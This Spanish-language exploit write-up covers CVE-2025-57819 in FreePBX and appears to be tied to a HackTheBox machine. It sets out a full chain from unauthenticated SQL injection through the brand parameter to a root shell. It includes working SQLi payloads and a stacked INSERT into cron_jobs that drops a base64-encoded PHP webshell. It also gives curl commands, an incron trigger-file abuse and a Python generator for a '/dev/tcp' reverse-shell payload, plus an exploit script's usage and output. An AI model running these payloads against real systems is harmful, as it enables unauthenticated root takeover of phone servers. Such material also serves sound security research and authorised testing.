
Inyección SQL no autenticada a Ejecución Remota de Código en FreePBX — CVE-2025-57819
Gravedad: Crítica
Tipo: Inyección SQL no autenticada → Ejecución remota de código
Software afectado: FreePBX (módulo endpoint)
Probado en: FreePBX en CentOS 7, Apache 2.4, PHP 7.4, MariaDB 5.5
Existe una vulnerabilidad de inyección SQL no autenticada en el módulo endpoint de FreePBX a través del parámetro brand en /admin/ajax.php. No se requieren credenciales para explotar esta vulnerabilidad.
Combinado con el mecanismo interno de trabajos cron de FreePBX y el sistema de hooks incron/fwconsole, esto conduce a un shell root completo sin autenticación.
[No Auth Required]
│
▼
Unauthenticated SQL Injection
(/admin/ajax.php → brand parameter)
│
├──► Extract DB credentials, user hashes
│
├──► INSERT into cron_jobs
│ │
│ └──► PHP webshell dropped in web root
│ │
│ └──► RCE as asterisk (user flag)
│
└──► Write incron trigger file (as asterisk)
│
└──► sysadmin_manager fires as root
│
└──► fwconsole hook → Root Shell
pip install requests
python3 CVE-2025-57819.py <target> <lhost> <lport>
Ejemplo:
python3 CVE-2025-57819.py connected.htb 10.10.xx.xx 9999
Salida:
[*] Verifying Unauthenticated SQLi...
[+] SQLi confirmed!
[+] Database : asterisk
[+] Version : 5.5.65-MariaDB
[+] DB User : freepbxuser@localhost
[*] Inserting Cron Job to Drop Webshell...
[+] Cron job inserted — waiting up to 90s for it to fire...
[+] Webshell active! → uid=999(asterisk) gid=1000(asterisk)
[+] User Flag → HTB{REDACTED}
[*] Triggering Root Shell → 10.10.xx.xx:9999
[+] Trigger file created — incron will fire it as root!
El parámetro brand en el controlador AJAX del módulo endpoint se pasa directamente a una consulta SQL sin sanitización:
GET /admin/ajax.php?module=FreePBX\modules\endpoint\ajax
&command=model&template=x&model=model
&brand=x' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e))-- -
Esto devuelve el nombre de la base de datos dentro de un error XPATH, una técnica clásica de SQLi basada en errores. También se admiten consultas apiladas, lo que permite operaciones INSERT, UPDATE y DELETE.
Usando consultas apiladas, se inserta un trabajo cron en la tabla cron_jobs de FreePBX:
INSERT INTO cron_jobs
(modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order)
VALUES
('sysadmin', 'poc', 'echo PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+|base64 -d >/var/www/html/shell.php',
NULL, '* * * * *', 30, 1, 1)
El ejecutor cron de FreePBX ejecuta esto cada minuto, colocando un webshell PHP en la raíz web.
incrond vigila /var/spool/asterisk/incron/ (escribible por el usuario asterisk). Cuando se crea un archivo allí, se activa /usr/bin/sysadmin_manager como root.
El formato del nombre de archivo api.fwconsole-commands.<payload> se asigna a un hook prefirmado con GPG existente en:
/var/www/html/admin/modules/api/hooks/fwconsole-commands
El hook decodifica el nombre del archivo como un payload base64(zlib(json([cmd, txn_id]))) y ejecuta:
$cmd = "/usr/sbin/fwconsole $command 2>&1";
Usando help; como prefijo se satisface a fwconsole como un comando válido, y el ; encadena comandos arbitrarios del shell:
help; bash -i >& /dev/tcp/LHOST/LPORT 0>&1
Esto se ejecuta como root, dando un shell root completo.
curl -ik "https://TARGET/admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax\
&command=model&template=x&model=model\
&brand=x'+AND+EXTRACTVALUE(1,CONCAT(0x7e,(SELECT+DATABASE()),0x7e))--+-"
curl -ik "https://TARGET/admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax\
&command=model&template=x&model=model\
&brand=x';INSERT+INTO+cron_jobs(modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order)\
+VALUES('sysadmin','poc','echo+PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+Cg==|base64+-d\
+>/var/www/html/shell.php',NULL,'*+*+*+*+*',30,1,1)--+-"
# Save to file to avoid shell quoting issues
cat > gen.py << 'EOF'
import base64, json, zlib
cmd = "help; bash -i >& /dev/tcp/LHOST/LPORT 0>&1"
payload = base64.b64encode(
zlib.compress(json.dumps([cmd, "txn"]).encode())
).decode().replace("/", "_")
print(payload)
EOF
python3 gen.py
# On the target (as asterisk via webshell)
touch "/var/spool/asterisk/incron/api.fwconsole-commands.<PAYLOAD>"
| Fecha | Evento |
|---|---|
| 2025 | Vulnerabilidad descubierta y reportada |
| 2025-11-30 | Máquina desplegada en HackTheBox |
| 2025 | CVE-2025-57819 asignado |
Esta herramienta es solo para fines educativos y pruebas de seguridad autorizadas. No la uses contra sistemas para los que no tengas permiso explícito para probar. El autor no se responsabiliza por cualquier uso indebido.
| Hallazgo | Detalle |
|---|
| Base de datos | asterisk (MariaDB 5.5.65) |
| Usuario de BD | freepbxuser@localhost |
| Usuario web | asterisk (uid=999) |
| Tabla cron | escribible vía SQLi |
| Directorio incron | /var/spool/asterisk/incron/ (escribible por asterisk) |
| Escalada de privilegios | El hook fwconsole se ejecuta como root vía incrond |
| Método root | Disparador Incron → hook fwconsole firmado → inyección de comandos |